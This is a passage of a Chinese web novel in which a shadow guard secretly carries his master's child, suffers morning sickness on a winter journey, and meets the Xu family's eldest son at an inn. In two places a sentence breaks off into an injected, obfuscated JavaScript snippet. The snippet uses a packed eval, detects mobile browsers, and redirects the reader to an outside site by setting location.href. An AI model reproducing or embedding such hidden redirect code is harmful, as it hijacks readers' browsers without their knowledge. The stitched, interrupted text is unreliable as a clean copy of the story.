“否则岂不是互相拖累,徒增痛苦罢了?于双方都是负累。” 拖累…… 这两个字像淬了毒的冰锥,狠狠刺入阿影的心口,瞬间将那里搅得血肉模糊,碎裂成齑粉。 阿影早已习惯了刀剑加身的锐痛,习惯了伤痕累累的身体。 可此刻,贺邢这句轻飘飘的无心之言,却比任何实质的兵器都更锋利,更残忍,带来一种近乎灭顶的、无声无息的剧痛。 下意识地,阿影将手覆上小腹,仿佛这样就能微弱地护住那个悄然孕育、却注定不被期待、甚至会被视为“拖累”与“负累”的生命。 贺邢并未察觉阿影的异样与骤然的沉默,手掌随意地抚过阿影那比往日略显柔软、微微隆起的小腹: “看来确实将你养得不错,汤药补着,这儿都长出些软肉了。” 说着,贺邢懒懒散散的,靠在阿影身上,语气带着一丝餍足后的慵懒与调侃 阿影猛地一颤,像是被无形的鞭子抽打了一下,瞬间的刺痛让他几乎蜷缩起来。 他勉强扯动嘴角,声音轻得如同即将消散的雾气,带着无尽的卑微:“主人…说的是。” 浓重的水汽朦胧了视线,模糊了阿影眼底深不见底的痛楚与绝望。 明明身处温水之中,却只觉得浑体冰凉。 阿影只是深深地低下头,将所有的情绪死死压抑在冰冷的面具之下。 明知结局,又何必自取其辱。 只是阿影话音未落,一瞬间,贺邢猛地倒抽一口冷气,脸色骤然惨白如纸! 一刹那。 “呃——!” 一声压抑的痛呼从贺邢齿缝间挤出。 他修长的手指死死扣住心口,指节因用力而泛白,额角瞬间沁出细密的冷汗。 整个人不受控制地向前踉跄一步,几乎要跪倒在温热的池水中。 “主人!” 阿影被这突如其来的变故吓得魂飞魄散,慌忙转身扶住贺邢摇摇欲坠的身体,声音都变了调: “主人!您怎么了?!” 贺邢疼得眼前发黑,咬牙切齿。 这钻心刺骨的剧痛他再熟悉不过——肯定是那该死的“琉璃心”又在作祟! 这东西如同悬在他头顶的利剑,每次只要他对阿影稍有不好,哪怕只是无心之言,心口便会立刻传来这般撕心裂肺的疼痛。 仿佛有无数根冰针狠狠扎进心脏最柔软处,反复搅动。 又怎么了?到底又怎么了?难道阿影真是猫吗,连水都碰不得? 贺邢又气又怒,强忍着剧痛,一把抓住阿影湿滑的手臂,指甲几乎掐进对方肉里: “你说,我难道对你不好吗?你到底又怎么了?” 可是阿影被贺邢惨白的脸色和狰狞的神情吓得心胆俱裂,哪里还顾得上自己那点心事,连忙就要起身: “主人!属下这就去传医师!” “不准去!” 贺邢疼得几乎脱力,整个人半挂在阿影身上,急促地喘息着,声音虚弱却带着不容置疑的命令, “你给我过来……吻我……” 阿影愣住了,一时没明白这两者有何关联。 贺邢见他迟疑,气得眼前又是一黑,几乎是咬着牙低吼:“让你赶紧亲我!没听见吗?!” 阿影这才如梦初醒,连忙凑上前,笨拙地贴上贺邢冰冷的唇,他觉得这是对主人的一种安抚。 然后就被贺邢几乎是粗暴地撬开他的齿关。 带着一种近乎掠夺的急切,贺邢胡乱地亲吻着阿影。 阿影:“唔……” 温热的水流包裹着两人,氤氲的水汽模糊了彼此的神情。 贺邢一边深深地吻着阿影,一边用尽最后力气将人紧紧箍在怀里,声音断断续续,带着疼痛带来的喘息,低声哄道: “你是不是……心情不好?受了什么委屈?告诉我……我必然替你做主……” 此时,阿影被他吻得几乎窒息,又被这突如其来的剧变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿影闻言,连忙低下头,湿发贴在颊边,声音依旧恭敬:“多谢主人。” “一天到晚就知道谢、谢、谢。” 贺邢真是被他这油盐不进的样子气笑了。 这阿影,外表看着像个任人拿捏的软柿子,实际上这心防比蚌壳都难撬开。 撬了这么久,真是一点点都没撬开。 “行吧。” 贺邢挥了挥手,也懒得再跟这闷葫芦较劲,只觉得一阵心累。 他哗啦一声从水中站起身,水珠顺着紧实的肌理滚落。 也不想再管阿影,贺邢径自踏出浴池,扯过一旁宽大的软巾随意裹在身上: “你自己接着洗吧,洗好了记得上床来,我先回去歇了。” 说完,也不等阿影回应,便带着一身未干的水汽和些许烦躁,转身离开了氤氲的浴室,只留下阿影独自泡在逐渐冷却的水中。 阿影低低应了一声:“是。” 直到贺邢的脚步声彻底消失在门外,阿影才缓缓抬起头,望着那人离开的方向。 眼中情绪翻涌,最终都化为一片沉寂的水雾。 “……” 阿影缓缓地将自己沉入水中,温热早已褪尽,只剩下冰冷的窒息感从四面八方包裹而来,沉重地压迫着他的胸腔。 一片安静,死一样的安静,仿佛将阿影拖入一个无声而绝望的深渊。 他是影卫,是黑暗中无声的刃,是主人手中最锋利的剑。 与此同时,他又是个不为世人所容的阴阳体。 因为这具异常的身体,阿影自襁褓中便被视为不祥,弃于荒野。若非剑阁的人偶然捡回,他早已冻毙于风雪之中。 剑阁的日子并非救赎,而是另一场残酷的试炼。 阿影拖着这具既不被常人认同、也不敢暴露的躯体,在严苛到近乎残忍的训练中挣扎求生。 遍体鳞伤,九死一生。 才终于从无数竞争者中脱颖而出,走到了阁主的身侧,成为了夜哭剑的执剑者。 若仅仅如此,倒也罢了。 阿影早已习惯了疼痛、孤独和被视为异类。 他可以永远做一个没有感情、没有奢望的影子。 可命运偏偏给了他一张与旭荟公子极为相似的脸。 又偏偏撞见了贺邢——那个高高在上、手握生杀予夺大权的阁主。 贺邢当年偶尔从指缝间漏下一点点微不足道的温柔,对于常年浸淫在冰冷与黑暗中的阿影来说,却足以燎原。 阿影爱上了自己的主人。 一个影卫,爱上了云端之上的主人,这本就是飞蛾扑火,自取灭亡。 而现在,阿影竟然还怀上了主人的孩子。 这简直是罪上加罪,是万死难赎其咎的大忌。 13. 第13章·孕吐 翌日清晨,天色尚未破晓,凛冽的寒风卷着细碎的雪粒,敲打着剑阁的车窗。 贺邢带着阿影,以及五十余名精心挑选的仆从、侍女与影卫,踏上了前往旭家参加婚礼的行程。 时值寒冬腊月,官道上的积雪被往来车马压得瓷实,又蒙上一层冰冷的雨丝,显得格外湿滑寒冷。 整个车队最中央的马车外观极其朴素,灰扑扑的车厢毫无装饰,连车窗都只嵌着普通的木材——剑阁树敌众多,此行重在观礼,贺邢特意吩咐一切从简,不欲惹人注目。 然而车厢内部却别有洞天。 因只行走宽敞官道,这车厢造得极为宽敞,底下铺着厚实的软绒地毯,四壁裹着暖和的貂绒衬垫。 角落里的紫铜暖炉烧着银丝炭,散发出融融暖意。 矮几上摆放着青玉茶具和各色精细茶点,一侧的书格里还整齐地码着几卷书册,可谓舒适至极。 马车摇晃,贺邢与阿影独处在这方温暖天地中。 贺邢斜倚在铺着白虎皮的软榻上,一身墨色常服松松垮垮地系着,玉带随意挽在腰间,手中执着一卷《通略》,颇有几分世家公子的慵懒贵气。 而阿影则安静地靠坐在车窗旁的绣墩上,身上严严实实裹着条雪白的狐皮毯子,只露出一张苍白的面容。 事实上,他刻意选了这个离贺邢最远的位置,生怕被看出端倪。 马车虽然造得极为稳当,但行驶在积雪的官道上仍不免颠簸摇晃。 “……” 阿影强忍着一波波翻涌的恶心感,指尖死死抠住身下的软垫,连指节都用力到泛白。 孕吐的反应远比想象中剧烈,他只能咬紧牙关忍耐,时不时借整理毯子的动作掩住口鼻,生怕泄出一丝异样。 似乎是察觉到了什么,贺邢的目光从书卷上抬起,漫不经心地扫过阿影苍白的脸,眉头微蹙: “脸色这么难看,昨夜没睡好?过来,给我瞧瞧。” 闻言,阿影心中一紧,不敢说自己因心绪纷乱几乎彻夜未眠,只得迟疑地挪到软榻旁,低眉顺眼道: “劳烦主人忧心,属下并无大碍。” “面无血色,唇色发白,还嘴硬。” 贺邢轻哼一声,将书卷随手搁在矮几上,坐直身子, “是不是马车太晃了?我也觉得颠得人头晕。” 他抬手揉了揉太阳穴,语气自然地吩咐道,“来,替我揉揉穴位。” 阿影正待起身,却被贺邢一把揽过腰身,径直抱到腿上。 阿影小声地惊呼一声。 贺邢将脸埋进他颈间,深深吸了一口气,衣领间散着淡淡的沉水香,与自己身上的气息如出一辙,都是剑阁特制的熏香。 “别磨蹭了,”贺邢的声音闷在他颈窝里,带着不容拒绝的意味,“快揉,晕得很。” 阿影只得抬手,以指腹轻轻按压贺邢的太阳穴。 这个影卫的手形修长漂亮,骨节分明,但掌心与指根却覆着一层粗粝的剑茧,与世家公子保养得宜的手截然不同。 然而贺邢却似十分受用,渐渐放松了身体,重量几乎完全倚在阿影身上。 车厢内暖香氤氲,只余下车轮碾过积雪的簌簌轻响,以及彼此交织的呼吸声。 阿影垂眸看着贺邢近在咫尺的侧脸,心中百感交集。 车厢内暖香袅袅,贺邢忽然想起什么,懒懒开口,声音里带着刚睡醒的沙哑: “昨夜给你的噬心蛊解药,可带在身上了?” 阿影连忙点头,指尖下意识地抚过衣襟内暗袋里那个冰凉的小瓷瓶。 瓶身触手生寒,却让他心下稍安。 “记得按时服用,” 贺邢闭着眼,手指有一搭没一搭地绕着阿影散落的墨色发丝, “若是发作起来,那滋味可不好受。” 见阿影仍是乖巧点头,贺邢又补充道: “瓶里装的分量够你用上大半年。只是若是药丸受潮变色,便不能再吃了,直接来找我换新的便是。” 其实阿影这噬心蛊的解药与旁人不同。 寻常影卫的解药只需草药、虫干调配,唯独阿影这份,每颗暗红色的药丸中都掺着贺邢的鲜血。 每月贺邢都会在左臂上划一道浅浅的口子,久而久之,贺邢这个性格又觉得麻烦,索性一次取了足量的血,做了整年的分量。 “谢主人恩赐,” 阿影轻声应道,指尖无意识地摩挲着衣襟内的瓷瓶,“属下一定好生保管。” “嗯。” 贺邢的手臂环在阿影腰间,掌心贴着阿影劲韧的腰线。 习武之人的腰身柔韧有力,肌理分明却不夸张,蕴藏着惊人的爆发力。 贺邢最喜欢这般手感,指尖无意识地摩挲着衣料下的肌肤,感受着那层薄薄肌肉下蕴含的力量。 “这些都不算什么,” 贺邢的声音带着几分慵懒的睡意,温热的气息拂过阿影的耳畔, “只要你乖乖的,少让我操心,什么都好说。” 他的手指轻轻捏了捏阿影的腰侧,带着几分亲昵的警告, “若是敢不按时吃药,看我怎么收拾你。” 阿影只得点头,任由贺邢将全身重量都压在他身上。 车厢里暖意融融,贺邢的呼吸渐渐平稳,似是睡着了。 阿影僵着身子不敢动弹,除了仍在揉按太阳穴的手,整个人都成了贺邢的人形靠枕,连呼吸都放得极轻,生怕惊扰了怀中主人的安眠。 马车行进在积雪的官道上,不时碾过碎石,颠簸越发明显。 “……” 没一会,阿影强忍着胃里翻江倒海的不适,额角渗出细密的冷汗,脸色苍白如纸。 他死死咬住下唇,舌尖尝到一丝血腥味,生怕泄出一丝声响惊扰了怀中浅眠的主人。 另一只手悄悄按在小腹上,试图压下那阵阵作呕的冲动。 不知过了多久,贺邢悠悠转醒,一抬眼就看见阿影惨白的脸色,顿时皱起眉头: “怎么脸色差成这样?” 他伸手探了探阿影的额头,触手一片冰凉, “我去叫张雪过来看看。”说着便要起身唤人。 “不必!” 阿影急忙拉住他的衣袖,声音都有些发颤, “属下无碍……只是有些舟车劳顿,休息片刻便好。” 他勉强挤出一个笑容,“主人不必忧心。” 可惜贺邢何其敏锐啊。 贺邢的目光如实质般在阿影脸上逡巡,见阿影眼睫低垂,唇色淡得几乎与脸色融为一体,分明是在强忍不适。 “你给我实话实说,” 贺邢的声音沉了下来,带着不容置疑的威严, “你到底怎么了?若不说出个所以然来,休想我放过你。” 事已至此,阿影只得胡乱寻个借口:“属下……属下腿疼……” “腿疼?”贺邢眉头紧蹙,“具体是哪里疼,指给我看。” 阿影迟疑地指向膝头,旧伤遇寒冬,这确实是稍微有点疼,以前还疼的更厉害,但是这种小痛其实无所谓。 贺邢伸手按了按他的膝盖:“是这里?” 见阿影点头,他便道: “穿护膝吧。我衣箱里备着一双上好的貂绒护膝,原本是嫌麻烦不想穿的,给你正好。” 阿影连忙:“怎敢穿主人的东西。” 贺邢挑眉:“真稀奇,你连主人的床都能睡,主人的东西又有什么是你不能穿的?” 这话说得阿影耳根通红,他向来嘴笨,哪里说得过巧舌如簧的贺邢。 下一秒,贺邢屈指敲了敲车窗,对外面的侍女吩咐: “丹云,去把紫檀木箱里那对白貂绒护膝取来。” 窗外传来一声清脆的应答。不一会儿,一个眉眼清秀的侍女捧着双雪白的护膝进来,那护膝用上好的貂绒制成,内侧还衬着柔软的云锦。 贺邢接过护膝,又道:“告诉车夫,若是再这般颠簸,就换人去驾马。” 丹云恭敬应下:“遵命。”便悄无声息地退了出去。 然后转过头来,贺邢伸手要解阿影的裤带,吓得阿影耳尖都要滴出血来。 阿影窘迫:“主人,万万不可,如此青天白日……” “行了行了。” 见那副窘迫模样,贺邢这才大发慈悲地放过阿影,只将裤腿仔细卷到膝上,露出那双布满旧伤的膝盖。 阿影坐在榻上,看着贺邢几乎半跪在他面前要替他脱靴,惊得就要跳起来: “主人怎可!让属下自己来就好!” 贺邢却已经握住他冰凉的脚踝,指尖不经意擦过踝骨处的旧伤: “这也不可,那也不可,都说江湖中人不拘小节,你怎么这般拘谨?” 这话很双标,不过贺邢自己就是道理,他说什么就是什么。 “……是。” 掌心传来的温度让阿影浑身一颤,终究还是败下阵来,任由贺邢为他穿上温暖的护膝。 那貂绒触感柔软异常,恰到好处地包裹住膝头,带来阵阵暖意。 “如何?” 贺邢抬头问道,手指仍停留在阿影的膝侧,“可还舒服?” 阿影轻轻点头,声音几不可闻:“多谢主人……唔——” 然而,车厢在积雪的官道上艰难前行,轮下不时传来碾过碎石的颠簸声。 阿影强忍多时的不适终于在这一刻达到了顶点。 他只觉喉头一甜,还未来得及偏头,便控制不住地俯身剧烈呕吐起来,慌忙之间,只来得及别过头去。 “呕——咳咳——” 秽物毫无预警地溅在贺邢昂贵的云锦外袍上,深色的污渍在墨色衣料上迅速蔓延开,散发出酸涩的气味。 阿影顿时面无血色,瞬间跪倒在车厢地毯上,连声音都在发抖:“属下罪该万死!” 他不敢抬头看贺邢的表情,只觉得浑身冰凉,连指尖都在发颤。 “……” 贺邢看着溅到衣服上的污渍,眉头紧紧蹙起。 这身墨色云锦外袍是用江南最好的绣娘耗时三月才制成的,用银线绣着精致的暗纹。 他下意识地想发怒,但看见阿影跪在地上不住发抖的模样,到嘴边的斥责又咽了回去。 跟个狗一样抖,有什么好怕的? 这么怕干什么? “真是的。” 贺邢话说到一半,叹了口气。他正要伸手去扶阿影,马车又是一个颠簸。 阿影猛地捂住嘴,却止不住再次干呕起来。 这次他勉强偏过头,吐在了地毯上,但飞溅的秽物还是沾到了贺邢的衣下摆。 这下,贺邢的脸色越来越难看。 贺邢自幼爱洁,受不了这等污秽,他生来就有身份,后来学武也有本事,何曾见过这等。 但看着阿影苍白如纸的脸色和泛红的眼角,他终究还是没有发作。 “行了,我出去换个衣服,你把自己打理好,让张雪进来给你瞧瞧,到底怎么了,这车厢让给你了。”贺邢说。 然后他皱眉就离开了。 吐了一车,这还怎么待? 张雪过来之后,心知肚明这是孕吐,也没什么别的办法,稍微给了点酸的东西压压胃。 结果,接下来的半个时辰里,阿影又吐了三次。 每次都是猝不及防地呕出清水,脸色一次比一次苍白,额头上布满了冷汗。 贺邢进去看的时候终于忍无可忍,用力敲窗喝道:“停车!” 车队缓缓停在官道旁。 贺邢看着蜷缩在角落瑟瑟发抖的阿影,语气里带着明显的无奈: “真是服了你了,跟没坐过马车一样,晕车居然这么厉害,这么会折腾我。” 他嘴上这么说,却还是伸手扶住阿影摇摇欲坠的身子,对车外扬声道: “丹云,再去取清水和干净衣裳来。再让随行医师备些止吐的药。” 侍女很快捧着铜盆、清水和一套崭新的墨色常服进来。 贺邢先是拧了帕子递给阿影:“擦把脸。” 见阿影手指发抖接不住帕子,就像是知道闯了大祸的狗一样,贺邢索性亲自替阿影擦拭嘴角。 阿影不自然地想要避开,却被贺邢按住了肩膀。 “主人……主人,请放属下去骑马吧,免得脏了车厢。” “别动。” 贺邢的语气依旧不善,手上的动作却格外仔细。 “放你出去又吹寒风,到时候你病了,不还是得回来?吐得更厉害罢了。” “属下……”阿影说不过贺邢,想要请罪,却被贺邢打断。 “闭嘴。” 贺邢没好气地道, “省点力气,别再吐我一身就是。” 他虽然语气不善,后来却始终没有离开车厢,反而坐在阿影身边,让他靠着自己休息。 待阿影稍稍平复,贺邢才扬声问道:“药可备好了?” 丹云在车外恭敬回应:“回阁主,张医师正在煎药,说是还需一刻。” 贺邢皱眉,正要说什么,却感觉怀中的阿影又轻轻颤抖起来。 他低头看去,只见阿影死死咬着下唇,显然又在强忍呕吐的冲动。 “忍得住吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433918|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”贺邢难得放柔了声音问道。 阿影轻轻摇头,眼角因为难受而泛着红晕。 贺邢叹了口气,从矮几下取出一盒山楂,拣了一颗递到阿影唇边:“含着的,或许能好些。” 阿影迟疑地张口含住山楂,酸甜的滋味在口中化开,果然压下了些许恶心感。 他抬眸,一双乌黑的眼睛惊讶地抬眼看向贺邢,没想到对方会随身带着这种东西。 贺邢似乎看穿他的心思,淡淡道: “上次见你怕苦,又喜欢酸,特意备着的。” 说着又拣了一颗山楂递过去。 终于这时,张雪端着一碗汤药来到车窗外:“阁主,药煎好了。” 贺邢接过药碗,试了试温度,才递到阿影面前:“趁热喝了。” 汤药散发着苦涩的气味,阿影一闻之下又有些反胃。 但他不敢违抗,接过药碗喝下。 喝完药,贺邢又递过清水让阿影漱口,方方面面都照顾得无微不至。 天知道,贺邢现在已经完全吸取教训了,他可不想在这种时候心痛的死去活来。 先不说丢不丢脸的事情,若有敌袭,他不可应战,那也太糟糕了。 阿影受宠若惊之余,更多的是不安和疑惑。 他不明白贺邢为何突然对他这般体贴,这比严厉更让他惶恐。 待一切收拾妥当,车队重新启程。 贺邢让阿影躺在软榻上休息,自己则坐在一旁看书。 然而阿影才躺下不久,又突然坐起身来,面色惨白。 “又怎么了?” 贺邢放下书卷,皱眉问道。 阿影还来不及回答,就又吐了起来。这次吐的都是刚才喝下的药汁,显然药效还未发挥就被吐出来了。 贺邢的脸色彻底沉了下来。他扬声喝道:“停车!让张雪过来!” 马车再次停下。 张雪匆匆来到车窗外:“阁主有何吩咐?” “你这药到底怎么回事?”贺邢语气不悦,“才喝下去就吐出来了。” 张雪连忙解释: “阁主息怒。只怕阿影大人这是舟车劳顿引起的严重反胃,汤药确实难以立刻见效。” “属下这里还有些止吐的丸药,或许可以一试。” 说着递上一个小瓷瓶。贺邢接过,倒出两粒朱红色的丸药,又递水给阿影服下。 然而不过一刻钟,丸药也被吐了出来。 阿影已经吐得浑身无力,几乎虚脱地靠在贺邢肩上,连跪地请罪的力气都没有了。 贺邢的脸色越来越凝重。 他沉吟片刻,忽然对车外吩咐:“改变行程,就近找个客栈歇下。” “可是阁主,”随行的侍卫长在车窗外迟疑道,“旭家的婚宴……” “来得及,也不差这么一时半会儿。” 贺邢不容置疑地道,“现在,立刻去找最近的客栈!” “是!”侍卫长不敢再多言,立即传令下去。 阿影额头都是冷汗,拉住贺邢的衣袖:“主人,不必为了属下……” “闭嘴。” 贺邢打断他, “你这副样子赶不了路,停个一晚休整吧,正好也已经赶了这一天的路了。” “不过,我真是上辈子欠了你的,好生躺着,别再折腾了。” 于是车队在风雪中艰难前行,好不容易在暮色四合时找到一家偏僻的客栈。 贺邢先行下车查看环境,车厢内只余阿影独自躺着,因反复呕吐而有些脱水,唇瓣干裂,意识昏沉。 车帘轻动,张雪悄步走进来。 她看着蜷在狐裘里的阿影,面露不忍,压低声音道: “阿影大人,那日您告知我之后,我回去翻遍医书,终于在一本不起眼的《异症小记》中查到记载……原来大人是阴阳同体之身。” 她顿了顿,声音更轻, “这类体质怀孕本就艰难,能平安生产的更是少之又少,百中无一,简直是在鬼门关前走一遭,能不能活下来都要看命数。” 闻言,阿影在狐裘里轻动了一下,没有接话。 张雪继续劝道: “并非我居心叵测,实在是现在胎儿月份尚小,若是用药流掉,对大人身子损伤最小。等月份大了,就是想瞒也瞒不住了,届时……” 她没再说下去,但话中的担忧显而易见。 到了那个时候,生不下来,又流不掉,基本上就只能难产死了,裹尸布一裹,不知会被丢到哪里。 阿影整个人都窝在雪色狐裘里,只露出一双失神的眼睛。他沉默了许久,才轻声道: “张姑娘,谢谢你,我再想想吧。” 下一秒,似乎是想到了什么,抬起眼,阿影恳求地看向张雪: “主人那边,劳烦你替我遮掩一二,万万不可叫阁主知道。” 张雪长叹一口气:“那是自然。我只会和阁主说,阿影大人是舟车劳顿,加上寒气入侵,才会如此不适。” 阿影点点头:“多谢你了。” 待张雪退出车厢后,阿影艰难地支起身子,趴在窗边软榻上,静静望着窗外纷飞的大雪。 虽然身上裹着厚厚的狐裘,车厢里也烧着暖炉,他却觉得浑身发冷,那寒意仿佛是从骨子里透出来的。 窗外雪花如絮,纷纷扬扬地落下,将天地染成一片苍茫的白。 怎么会这么冷呢? 阿影恍惚地想。 明明从前在冰天雪地里执行任务时,也不曾觉得这般寒冷。那时他可以一动不动地在雪地里潜伏数个时辰,而现在却连一点寒风都受不住。 外面传来的凉意让阿影打了个寒颤。 阿影下意识地抚上小腹,那里依旧平坦,却已经有一个生命在悄然生长。 想到张雪方才的话,他的心不由得揪紧了。 难产……鬼门关…… 这些字眼在他脑海中盘旋不去。 他并不怕死,作为影卫,他早就做好了随时赴死的准备。 可是现在,不知道为什么,他忽然有些怕了。 或许,这世间真的有让他留恋的东西。 “……” 阿影将脸埋进柔软的狐裘里,嗅着上面残留的木香——那是贺邢常用的熏香味道。这味道让他莫名安心,却也让他更加迷茫。 该怎么办? 阿影无声地问自己。 留下这个孩子,可能会死;打掉孩子,他又舍不得。 这是他和贺邢的血脉,是阿影从来不敢奢望的羁绊。 客栈的灯笼在风雪中摇曳,投下昏黄的光晕。 14. 第14章·旭辉 贺邢一行人踏入客栈后院时,天色已完全暗了下来。 客栈檐下的灯笼在风雪中摇曳,投下昏黄不定的光晕。 侍卫正在安置马车,忽然压低声音禀报:“阁主,那边两辆马车……印着旭家的家徽。” 贺邢闻言脚步微顿,目光锐利地扫向角落。 果然,两辆玄色马车静静地停靠在马厩旁,车辕上赫然刻着展翅赤羽鹤的纹样——正是旭家独有的标记。 “可看清是哪房的马车?” 贺邢声音低沉,面上不动声色,心下却已转过数个念头。 旭荟此刻应当被拘在山庄准备婚事,断无可能出现在此。莫非是旭家其他什么人? 侍卫恭敬回道:“属下查看过了,是旭家大公子的马车。听闻大公子近日求医归来,想必是途经此地歇脚。” 贺邢微微颔首,心下稍安。 旭家大公子身体不好,素来与世无争,与剑阁并无过节。 “吩咐下去,莫要声张,各自安顿。” 说着,贺邢就拉着的阿影,径直上了二楼天字一号房。 客房布置得颇为雅致,暖炉烧得正旺,驱散了一身寒气。 贺邢将阿影安置在铺着厚厚锦褥的床榻上。 没一会,张雪奉命前来诊脉,指尖搭在阿影腕间时,两人极快地交换了一个眼神。 贺邢坐在床头,让脸色苍白的阿影靠在自己肩上:“如何?” 张雪垂首恭敬回道: “大人是寒气入体,脉象虚浮,需好生调理。属下这就去煎药。” 她起身时,极轻地对阿影点了点头,示意一切都会遮掩过去。 丹云原本候在门口,就带着张雪走了。 待张雪和丹云离开,贺邢轻轻捏了捏阿影的腰侧,语气带着几分戏谑:“我竟不知你的身子这么差。” 阿影睫羽低垂,声音虚弱:“属下惭愧……” “看来日后得多喂你些好东西补补。” 贺邢的手无意识地抚过阿影的小腹,忽然顿了顿,指尖在那处顿了顿, “你好像胖了些,这里都软了。” 闻言,阿影心中一惊,面上却强作镇定:“属下近日疏于锻炼,愧对主人。” “有什么好愧对的?” 贺邢懒散地笑着,指尖在那微微柔软的部位打转, “胖些也不错,抱起来更舒服。” 贺邢的手掌温暖而有力,隔着衣料都能感受到那份不容忽视的存在感。 分不清是危险还是依靠了。 阿影屏住呼吸,生怕被贺邢察觉异常,只得轻声应道:“是。” 夜深时,贺邢自然而然地将阿影揽入怀中,如同抱着一只人形暖枕。 阿影僵着身子不敢动弹,直到听见身后传来均匀的呼吸声,才稍稍放松下来。 窗外风雪愈急,拍打着窗棂发出簌簌声响。 阿影在黑暗中睁着眼,感受着身后人传来的体温,一只手悄悄护住小腹。 那里正孕育着一个不能言说的秘密,一个可能永远见不到天日的生命。 贺邢在睡梦中无意识地收紧了手臂,将阿影又搂紧几分。 温热的呼吸拂过阿影的后颈,阿影轻轻闭上眼,在这一刻的温暖与永恒的不安之间徘徊。 孩子…… 孩子……怎么办…… 正当阿影思绪纷乱之际,贺邢忽然动了动,半梦半醒间呢喃了一句: “冷就靠过来些……” 说着又将人往怀里带了带,下巴无意识地蹭过阿影的发顶。 这一瞬间,阿影忽然觉得心痛,这种疼痛并不是来自于实际的伤口,而是来自于伤心。 风雪依旧,相拥的体温不足以抵御严寒。 阿影不知何时才睡去,梦中一片风雪,不见天光。 —— 翌日已近晌午,日光洒下,在客房内点上暖融融的光斑。 日照三竿了,贺邢这才悠悠转醒。 阿影其实早已醒来多时,但见主人未起,只得继续假寐,安静地躺在榻上陪伴,连呼吸都放得极轻。 然后丹云敲门而进,待贺邢梳洗完毕,二人下楼用膳时,恰在楼梯转角与一行人迎面相遇。 为首的青年身披一袭雪白貂裘,那貂毛油光水滑,一看便知价值不菲,却衬得他面色愈发苍白如纸。 他身形单薄得仿佛一阵风就能吹倒,每下一级台阶都要扶着栏杆歇息片刻,唇上几乎不见血色。 正是旭家大公子旭辉——那个体弱多病、毫无武学天赋,在武林中几乎毫无存在感的旭荟兄长。 而旭辉身侧站着个蓝衣青年,人高马大,身姿挺拔,眉目深邃如刀刻。 他一手稳稳扶着旭辉的手臂,另一手随意搭在腰间的长剑上,目光如电般扫过贺邢一行人,最后停留在阿影身上时,眼中闪过一丝难以掩饰的诧异。 无他,阿影长得和旭荟很像,而旭荟和旭辉又是兄弟,眉目之间自然有相似之处,所以阿影和旭辉眉目之间也有相似之处。 “贺阁主,许久不见。” 旭辉温声开口,因为病痛缠身,所以声音显得有些无力, “没想到会在此处相逢,近来可安好?” 他的目光不由自主地飘向贺邢身侧的阿影,在看到那张与旭荟极为相似的面容时,也明显怔了怔。 只见贺邢神色如常: “旭大公子,别来无恙。” 他顿了顿,语气转为关切,“不知师傅近来身体可好?” 旭辉抿唇浅笑:“劳阁主记挂,家父一向安康。” 他迟疑片刻,还是忍不住看向阿影,目光中带着几分探究,“这位公子倒是面生得很……” 阿影抱剑立于贺邢身侧,宛如一尊沉默的雕像。 他与旭荟容貌确有七八分相似,但那双眼睛却截然不同——像是暗沉的深渊,不见半点光亮,唯有在望向贺邢时,才会泛起些许微暖的涟漪。 此刻被旭辉打量,阿影更是将气息收敛得几乎不存在,仿佛要与阴影融为一体。 “阿影,我的影卫。”贺邢言简意赅,语气中带着明显的占有意味。 旭辉了然点头,目光却仍在那张与弟弟极为相似的脸上流连,欲言又止。 而贺邢看向旭辉身旁的蓝衣青年,目光如炬: “这位少侠气度不凡,不知是何门何派的高徒?” 那青年挑眉一笑,语气带着几分狂傲: “小爷我无门无派,不过是山野粗人罢了。” 只是不知是生性狂傲,还是确实有狂傲的资本。 旭辉连忙笑着补充,声音里带着几分真切: “阁主莫怪,这位是任云起任少侠,我在求医路上结识的至交好友。” “若不是任少侠几次三番出手相救,我这条命早就丢在荒山野岭了。” 他说着,忍不住掩口轻咳起来,任云起立即伸手轻拍他的背心,动作熟稔自然。 任云起一看旭辉咳嗽,眼里都是心疼:“你看,你又咳嗽了。” 旭辉笑了笑:“不妨事,咳咳、咳咳。” 贺邢的目光在任云起身上停留片刻。 这人虽然自称山野粗人,但举手投足间自有一股不凡气度,腰间那柄长剑更是隐隐散发着寒意,显然来历不简单。 楼梯间一时无人说话,气氛略显尴尬。 旭辉的目光又不自觉地飘向阿影,欲言又止。 任云起则毫不避讳地打量着贺邢和阿影,眼神中带着明显的好奇。 最后还是旭辉打破沉默: “阁主这是要往何处去?若是顺路,不妨同行?” 他说着,又忍不住咳嗽起来,苍白的脸上泛起病态的红晕。 贺邢淡淡道:“不知道大公子要前往何处?” 旭辉苦笑,声音虚弱: “实不相瞒,正是要回旭家参加舍弟的婚礼。” 贺邢基本上也猜到了: “这倒是巧了,我们也正是要前往旭家贺喜。” 旭辉闻言,苍白的脸上露出真切的笑容: “那真是太好,若是阁主不嫌弃,不妨同行?路上也有个照应。” 他说着,又忍不住咳嗽起来,任云起立即递上一方雪白的手帕。 贺邢目光在旭辉和任云起之间转了转,沉吟片刻方才开口: “既然同路,自然再好不过。只是……” 他瞥了一眼阿影,“本座近日身体不适,行程可能会慢些。” “无妨无妨。”旭辉连忙道,“我这身子骨也经不起快马加鞭,正好慢慢走。” 双方又客套了几句,约定一个时辰后出发。 此刻,客栈大堂内已是人声渐起。 贺邢特意叫丹云去厨房做了些清淡的粥品和小菜,看着阿影苍白的脸色,眉头不自觉地蹙起: “若是实在不舒服,就在客栈多歇两日也无妨。” 阿影连忙摇头,声音虚弱却坚定:“属下无碍,不能耽误主人的正事。” “去参加个婚礼而已,算什么正事?” 